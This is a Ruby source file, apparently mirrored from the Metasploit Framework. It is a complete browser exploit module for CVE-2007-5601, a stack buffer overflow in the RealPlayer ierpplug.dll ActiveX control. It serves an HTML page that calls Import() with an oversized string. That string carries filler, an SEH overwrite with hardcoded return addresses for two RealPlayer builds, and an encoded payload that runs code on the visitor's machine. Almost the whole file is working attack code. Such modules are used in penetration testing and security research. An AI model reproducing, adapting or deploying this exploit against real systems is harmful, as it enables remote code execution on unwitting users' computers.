mirror of
https://github.com/rapid7/metasploit-framework
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108 lines
3.0 KiB
Ruby
108 lines
3.0 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'RealPlayer ierpplug.dll ActiveX Control Playlist Name Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in RealOne Player V2 Gold Build 6.0.11.853 and
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RealPlayer 10.5 Build 6.0.12.1483. By sending an overly long string to the "Import()"
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method, an attacker may be able to execute arbitrary code.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'MC' ],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2007-5601' ],
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[ 'OSVDB', '41430' ],
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[ 'BID', '26130' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 800,
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'BadChars' => "\x00\x09\x0a\x0d'\\",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'IE / RealOne Player 2 (6.0.11.853)', { 'Offset' => 4756, 'Ret' => 0x601aa72b } ], #rpmn3260.dll (6.0.9.1419)
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[ 'IE / RealPlayer 10.5 (6.0.12.1483)', { 'Offset' => 4768, 'Ret' => 0x614bd13b } ], #rpmn3260.dll (6.0.9.2934)
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],
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'DisclosureDate' => 'Oct 18 2007',
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'DefaultTarget' => 0))
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end
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def autofilter
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false
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end
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def check_dependencies
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use_zlib
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end
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def on_request_uri(cli, request)
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# Re-generate the payload
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return if ((p = regenerate_payload(cli)) == nil)
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# Randomize some things
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vname = rand_text_alpha(rand(100) + 1)
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strname = rand_text_alpha(rand(100) + 1)
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# Set the exploit buffer
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filler = rand_text_english(target['Offset'])
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seh = generate_seh_payload(target.ret)
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sploit = filler + seh + rand_text_english(30724 - payload.encoded.length)
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# [id(0x60020009), helpstring("Imports a file to RealPlayer's Media Library")]
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# long Import(
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# [in] BSTR file,
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# [in, optional, defaultvalue("")] BSTR playlist,
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# [in, optional, defaultvalue("")] BSTR clipInfo,
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# [in, optional, defaultvalue(0)] long bPlayFile,
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# [in, optional, defaultvalue(0)] long bCopyToMyMusic);
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# Build out the message
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content = %Q|
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<html>
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<object classid='clsid:FDC7A535-4070-4B92-A0EA-D9994BCC0DC5' id='#{vname}'></object>
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<script language='javascript'>
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var #{vname} = document.getElementById('#{vname}');
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var #{strname} = new String('#{sploit}');
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#{vname}.Import("Firstrun\\\\audio.rm" ,#{strname} ,"" ,0 ,0);
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</script>
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</html>
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print_status("Sending #{self.name}")
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# Transmit the response to the client
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send_response_html(cli, content)
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# Handle the payload
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handler(cli)
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end
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end
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